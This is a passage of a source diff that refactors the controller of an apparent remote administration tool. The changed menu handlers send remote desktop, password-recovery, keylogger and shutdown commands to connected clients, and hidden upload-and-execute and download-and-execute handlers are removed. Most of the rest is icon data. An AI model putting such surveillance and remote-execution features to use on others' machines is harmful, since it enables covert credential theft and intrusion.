+ c.Send(new DoShutdownAction {Action = ShutdownAction.Restart});
}
}
@@ -648,39 +630,30 @@ private void standbyToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Standby).Execute(c);
+ c.Send(new DoShutdownAction {Action = ShutdownAction.Standby});
}
}
#endregion
- #region "Surveillance"
+ #region "Monitoring"
private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmRdp != null)
- {
- c.Value.FrmRdp.Focus();
- return;
- }
- FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c);
- frmRDP.Show();
+ var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c);
+ frmRd.Show();
+ frmRd.Focus();
}
}
private void passwordRecoveryToolStripMenuItem_Click(object sender, EventArgs e)
{
- foreach (Client c in GetSelectedClients())
+ Client[] clients = GetSelectedClients();
+ if (clients.Length > 0)
{
- if (c.Value.FrmPass != null)
- {
- c.Value.FrmPass.Focus();
- return;
- }
-
- FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients());
+ FrmPasswordRecovery frmPass = new FrmPasswordRecovery(clients);
frmPass.Show();
}
}
@@ -689,91 +662,15 @@ private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmKl != null)
- {
- c.Value.FrmKl.Focus();
- return;
- }
- FrmKeylogger frmKL = new FrmKeylogger(c);
- frmKL.Show();
+ FrmKeylogger frmKl = FrmKeylogger.CreateNewOrGetExisting(c);
+ frmKl.Show();
+ frmKl.Focus();
}
}
#endregion
- #region "Miscellaneous"
-
- private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
- {
- if (lstClients.SelectedItems.Count != 0)
- {
- using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
- {
- if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
- {
- new Thread(() =>
- {
- bool error = false;
- foreach (Client c in GetSelectedClients())
- {
- if (c == null) continue;
- if (error) continue;
-
- FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
- if (srcFile.MaxBlocks < 0)
- {
- MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
- "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- error = true;
- break;
- }
-
- int id = FileHelper.GetNewTransferId();
-
- CommandHandler.HandleSetStatus(c,
- new Core.Packets.ClientPackets.SetStatus("Uploading file..."));
-
- for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
- {
- byte[] block;
- if (srcFile.ReadBlock(currentBlock, out block))
- {
- new Core.Packets.ServerPackets.DoUploadAndExecute(id,
- Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks,
- currentBlock, UploadAndExecute.RunHidden).Execute(c);
- }
- else
- {
- MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
- "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- error = true;
- break;
- }
- }
- }
- }).Start();
- }
- }
- }
- }
-
- private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
- {
- if (lstClients.SelectedItems.Count != 0)
- {
- using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
- {
- if (frm.ShowDialog() == DialogResult.OK)
- {
- foreach (Client c in GetSelectedClients())
- {
- new Core.Packets.ServerPackets.DoDownloadAndExecute(DownloadAndExecute.URL,
- DownloadAndExecute.RunHidden).Execute(c);
- }
- }
- }
- }
- }
+ #region "User Support"
private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
{
@@ -785,7 +682,11 @@ private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
+ c.Send(new DoVisitWebsite
+ {
+ Url = frm.Url,
+ Hidden = frm.Hidden
+ });
}
}
}
@@ -802,8 +703,13 @@ private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoShowMessageBox(
- Messagebox.Caption, Messagebox.Text, Messagebox.Button, Messagebox.Icon).Execute(c);
+ c.Send(new DoShowMessageBox
+ {
+ Caption = frm.MsgBoxCaption,
+ Text = frm.MsgBoxText,
+ Button = frm.MsgBoxButton,
+ Icon = frm.MsgBoxIcon
+ });
}
}
}
@@ -867,10 +773,5 @@ private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e)
}
#endregion
-
- private void contextMenuStrip_Opening(object sender, System.ComponentModel.CancelEventArgs e)
- {
-
- }
}
}
\ No newline at end of file
diff --git a/Server/Forms/FrmMain.resx b/Quasar.Server/Forms/FrmMain.resx
similarity index 97%
rename from Server/Forms/FrmMain.resx
rename to Quasar.Server/Forms/FrmMain.resx
index 76459b885..e699ae63d 100644
--- a/Server/Forms/FrmMain.resx
+++ b/Quasar.Server/Forms/FrmMain.resx
@@ -121,21 +121,6 @@
223, 17
-
-
- iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
- dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIkSURBVDhPpZFLaxphFIbzD/pzsuiui1LopquuBQUF
- EQRd6MaVK0XEJmkEwbZaqUWoJkaNjhov41SjRqPjLY63pin1QnXfxdvzDbQkMF2ULt7N8LzPme+cPQD/
- FcWPzWbzTa1W+8nzPAqFAjiOQzKZRCwWQyQS+XCffVBst9uPGo1GRJIk3N5+gzRdQJJmGLOMp9hsfiAU
- ChGqIGi1Ws/q9frX2WyG1WqF2mULFaGOMn+JYrmKYvEzhiMJfr+fcAUBlbFcLuUsFl/AU/n42Iujo9c4
- ODiEx/MK/cEYXq+XcAWBIAjYbrdUXmAymaDEppaquCgKyF9UwOXK6PVvSOQhXEHAlrXZbDCfz+ndExTo
- l9lUt9sNl8sFh8MBsTeC0+kkXEHANs0EbAej0Q1NFZDN8+CyZaS5Is7TBXS7A9jtdsIVBIlEQhZMp1MM
- hyP5lzNcCelMEe+rb/Hy4wtck8BmsxGuIIhGo1iv1/L7e73Bn6nJ8zyevHuM/cN9tK/7sFgshCsIwuGw
- fD4m6Io9pFg5lcdZMof4GYeTOIdWW4TJZCJcQRAIBLDb7eQldjoiEkkqJ7I4ZeXTDKInaVy1RBgMBsIV
- BD6frxaPxyGKIi1ygRydLp7IIUbFTyzRFJpXXeh0OsIVBCx0sud0rkYwGARfEegpI3kqK7Lc3X2HRqMh
- 9C+C36FNP7VarR2z2Qyj0Qi9Xg+tVgu1Wg2VSjW4zz4o/nuw9wtdEBK3EWw5nwAAAABJRU5ErkJggg==
-
-
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
@@ -167,26 +152,6 @@
7AVomTNQv56AsnAYjvoF4pNmQSJi+Uyi8BjszWFYxT4Kx2CI1yh8jlpPQ+WPQ5k/BHnuIAlSqGcaglz8
aInJBVlffuHp+efQxMfQhDi07ADUzH2o6V4oSzEofBTK4g3YlRmfMnJDIAy03xKGOiaEwY4KTeufDAZT
ocxIQ7AXWh7+P2j7BY3RGzIVTOkAAAAAAElFTkSuQmCC
-
-
-
-
- iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAA0RJREFUOE81
- U91Pk2cUf92l2dWupkChBaRqmS2jUASkLW/7vlgorTLkY6CBCralH0Clhba0L1D6oS0UkSCajJmosGQ3
- 4gXZRvYXLFvCzXalyf6DJV558dt5HuKTnJxzfs/5nY/nQ2Dr4WLyy8Wkcj9fLG882tw+LG7tnGxs7/5R
- 3tn7p1h++oGwf0tbO+8JP80+3vxlbiGe9ocj5zk5Ekt8RUF/r+ULGLk7iltDLjjcEjqtJuiNV6EzNECn
- P5Nmkx6Sw450Jou5aPyIJ0gqGSWhrOD2iAO5jTSCMQ9Exw1YpHaINzth7+tCl60N3WTfEE3cNrbpkStt
- YXomrBeo+pH7jhPHvx0h/zSB2FoAvbdF9LiscNzqJtsGyWmBgzDJaSZMRIe1BaHIPAJz0bBAs53ITitS
- 2QXEs2H0DjCCGVa5HTIj95lhtl/n2GfdbmmBLzSDyOJyiSX43Wxvg9xvgXNQ4gGsKusg/nYPI1EPZOrg
- rBO2J8La0wFv0I/F5dVnAp3wSVOrDte7mnkAm5Hp2R8K8Ozn4D8owSJ3YCIdPNujjtjhPpjxYSm19kyg
- a3mn1dWhpcOA/nEnZDfNTWPM/roPyTeMe/kIxjJhJP96C/GOhCZTI+ovqxEIh5BQ1reE1eyj17prlyHH
- 7sOtBDH9qgT37DhcSS++pWBjpwErf76Dvt+M70oxDJUT6PIPY25hAcur2YyQXFnfbm03QlOvwqUrGnxj
- MWL99BgNRNTqark0U0e1DdXQXFKhTluDmroqxFMppNdyEXpIyYQo26DSVPAgJr1KANW1lTyY+cxmZEZs
- uKrhWKG0gVhSGRemfKGxobFRVKi+5kkqqy+gquYiqtQXUU0+IzO/husLlKQS6voq7Dx/QWMsdQt3PQ9M
- 3mAIKiKwCiyJmjQjMJ8Fs0QMYyM2GrRc//jqEPPRuFq45/GeT2cKHw1GPU/COmBJeBckzObdqc90Y5OW
- biAI+mz/heZjX/D/4A3O+zKF0qcZuprR8e/hHnDjZl8PRMkKq80Me48NrgEXJqc8KJaf4OXBzwg/XMpz
- 8uc1Me2v8HgDDpprMp5ajaUz+UKuuLlL7+QlyQEV+ImwN9GEsjvlDw9S7DlBEIT/AeYb1TEkjRNvAAAA
- AElFTkSuQmCC
@@ -200,58 +165,92 @@
RU5ErkJggg==
-
+
+
+ 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
- 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
- AvcX77X2szDYsr4AAAAASUVORK5CYII=
+ dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKoSURBVDhPpZPtT1JRHMf9W/RP6N7etDZ90VybDZK0
+ F5k1TBO1la7CbLBKMRGfAAVsCIaaD5RPUJIiJHAlI+QhNPXmwAza2uoNZC3LbwdaqNXaWi8+d/ece77f
+ 3/ne3zkZAP6L3ybyNStZx1QhUZ4iyB5p8cZzZJ54tmyBzZa5RYdvM1m/rt834KiXeUflgVhFrx+99ghG
+ mc0UemsYfPVT0KLZGC228vZq0i+kKi+31ZdomVyFxRtDz3QEEuNL3Bpehty0CqNjA42jIdCVEwn64kTa
+ JPXIUwYzc9sWo0mx6VkMIiK6NhDAkOs1hpwbuGrwQ9gfgGF2HZL7ftBlxihdOpyZNsiVL4rLtV6YPW9R
+ NxCCkES4rPPh4+ftFNU6D6p7PBDe9WLgSRinmh+DKuoXpw1y2jys3hqB0sTiSq8PNTovqrUe9NnXYSBU
+ djM/0LhIrADU0yugC3Vs2uCQhNkaX3iDuj4/qfQcVXfcZDFDPgE7BIHKifLOOYIDFzROGJkwKF7XVlKb
+ MqDF9q0x92Yqa7JShdpFRC6EIh+Q+LSNsg47StttOEcQKGwYmScGXMVeAyurtbKQPlhClcYNQZcT55Vz
+ eBF+Twy+oEQ2gxKSm99sQW0PA6UlCPp4x24EutYiLpbbMeSIoErFQCB3wOLZwNdvO6kI/lfvUCwxE0zo
+ fhhC4fVRYtC++xPpS2OZtMAYvTnig8G6hjK5DfyWaZyRTqG4wYTT9RMoqh9H64iXtHeebF8apbnS3TYm
+ ofiDvAMF+oRo0AP9zAqEWifZ8iOcbTSjRmWD2hSAsI8BzWlIEPH+g5Q2KdTzqILu2Mkbk1BOLeGekyWs
+ ocMcRH6dERSnMUZzm/58lH9Cn1BnUbxOEZWvYCluc5ziNMVJRZYgOsht+Ptl+neQ8R04hsvsalKMmgAA
+ AABJRU5ErkJggg==
-
+
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
- dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKfSURBVDhPpZLdT1JxGMdpa+suWy8XzfUH9D943+yu
- q9bWZhfNuVVb0portaKSuzSXmomkx4SpaIkg8qKAyotApUBQKgqHwzmHwzkesJHGaHyDs+l086KXi++e
- 3+95Pt/n99ueRwbgv3Rk8m906EKSZE0q/m2ajnp26JVZMJ/NYAJGMD49WL/xJxvxumiarjno2T9QFEUw
- a58K6bAVYsQObtmEVbsGEfMAYrYBbC+NQVx8h8z8UImLhacONSibLUzYCSFsw4qFgGGwAzpCBe2IAYTG
- CBUxBa1aBadaAcHaBdHcCSHkCEkNEolEOxN1QwjOwKF7Dbc/ilFXFsPOLNQ2Ed2mLbTrebTpOOi9Waxa
- h5Eaf4acXgkq7B2UpWLhNB2YQNQ/h2KxiCnfNoYcWaisIk6du4Cqs9V4PpZBiyZdjpzEsCEXaG0zgn1N
- RVncry+lkzHs7u5KRZ0rh16zgE6jgKoz1Th5+jweDrO4p6bRWo4VpsIKsRA+djRAlkps/BJFEfl8HoVC
- AfZgrvxlDkodi0daGk2DKdxVUWjoIfHWxktMha14NvRdJRkVWhC5xFfkcjmpEEt9R98Mi2YiWX6VxO3e
- OG6+2kTLUBLL61mJqbBsJIA48aAgI9cjb9JLE8iUp7DFJJDNZhFc40BYSDT1r6GxdxXdk3H4vqQlo8gx
- 4HzTSPbUw6NSeKQxri57PdRsPwSnGnzQLvKxMMOzqQTP85t7ymQym1zEx7CGTpBls7VdzkzKLx/bX6TA
- vFXvHu0qboy1gTO+AGdTgXVqwDg0YOcIUPqXoPpuY1F5o2Tqeer/0Fh7XNqDvQYVubvlJwzK+qvjj+tG
- Jp/UcSZF3Q+L4vrOTOu1/Pv7VxY0d2rl2luXLh70HGrwLzoy+eeC7DdDjRpyPiqHagAAAABJRU5ErkJg
- gg==
+ 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
-
+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
- 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
+ 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
+ adAAAAAASUVORK5CYII=
@@ -325,76 +324,19 @@
AP4lrv1yD03M/rpCQQoDqPsJSNb8+jMBmwUAAAAASUVORK5CYII=
-
-
- iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
- dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJZSURBVDhPlZJNbxJRFIb5E/4m48Kf0SYolA/BgFIU
- gkktghQELRYWIgKhQVNrmoCENED5GlCGmTtDoUBbl42NiaULFq/3jtYpjYu6eJM595zznHPfuRoAGlmW
- QQiBIAjodrvodDpoNpuo1Wool8solUooFArY2dnB1tYWcrkcMpkMbYVGAYiiiNPTHxgfHmM8OcJ4fIQR
- 0+gQB1TDgwmGwzEGTIMRTk6+I5FIqACe55XG2+bUtST3h4jFYiqArcymsqT2eRXW9RaCOYLop30EP/Th
- 25SwkpHwJC0pNZI0QCQSUQGNRkNZlyXvBPZwd62GB/EOAjkJa+/7eJohcCdFON8SpYaQAQKBgAqoVCoY
- XgBosy5Yh/5FE7bYV6ykRTzblOFJSVhO/AYIYh+rq6sqgLnMDGJJNl0XamAp3ILhZRvmVx0svxHwOEnw
- 6M8GvZ4Ej8ejAvL5vOIuS15MX4pwMFKAaf0L7r3uwhLrwRoXlJouL8HpdKqA7e1t+rsmSvI6Esg+bDab
- CmAP4/j4G0Qige8RSPIAu7sVcG0eLa6LfKEInhfRaHCKCJFhNptVQDqd9tGHwcXjcS4ajXLhcHhEXd7I
- ZrNIpVJwu90bdOWR3W7nrFYrZzKZOL1e//Av4Kr8fr+Bulys7tUVxx0Ox5SufP9ftXNBMBi84fP56Hv/
- iEq1Rq9Rx+diBbV6G8nkOxgMhp+X65nmAq/Xe4teB7PZDOfn55hOpzg7O1O+2VkoFMLi4uLNyz1zACaX
- y8XRlRWXLRYLjEYjdDodtFotFhYWmlfr54L/FzS/AGH28noQqAdLAAAAAElFTkSuQmCC
-
-
-
-
- iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m
- dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKHSURBVDhPfZFbSFNxHMfPKpKeogeJEBIfAkWiXJpN
- W9BWSx8yeoigKyXaRWgvIoxp04k5N8wJOgela62BpdVIiphiKGrTqSDUFMvE0iJXm9Nd3eXb/xw9Om89
- fB/O////fH6XQwH4b36YTmlIsBzN+vs1H+vDwiH/NyabSdYA0VmBPcMI2JsQnO8kxxFGMtkieMy+2wDS
- iYb9v6oR+KNnq5NrYFLPg6We94F+u5WAaZmGfdP34f9dR9KxJGkVIBJyYELLZSRbCuiWaZjJTBkjCbo6
- sDCugmciG2F/F8bVhzfCrCDk+0w6qFqVMCI55m1nMDd8jIz3CrbipE3hbSSa2R4xAUrhGuHD8+Uqipoz
- kadLgXMoFUFnBWyyJJgfpI5Fg0v/+81pzPYWYdHRSqrxCHyWVM/DPQMXZW2XcFGbiNGyZLQr0j7RXLSA
- LMdF5myHd1oKsZEP8bN03HmaitzGQyh+fQEvrLUobDkHUc3eCF+1h8MIViqTBGZbsDCWA2d/MgoM6TAN
- a/ByqI4Bm61qqDsKof+oxG2jCGmVMcGD5RzOcuU50rIJ7jEhHJZEuEdPIpfMS8MPzWJUvS9Axbt8lLbd
- gPztLWi7y3HlyXEckFEBWjC/6Gwny+LB0ZsI79cc+L5X4PKjJDwfUMNoqYa+T4mmXgWR3EVDtxz5xiwk
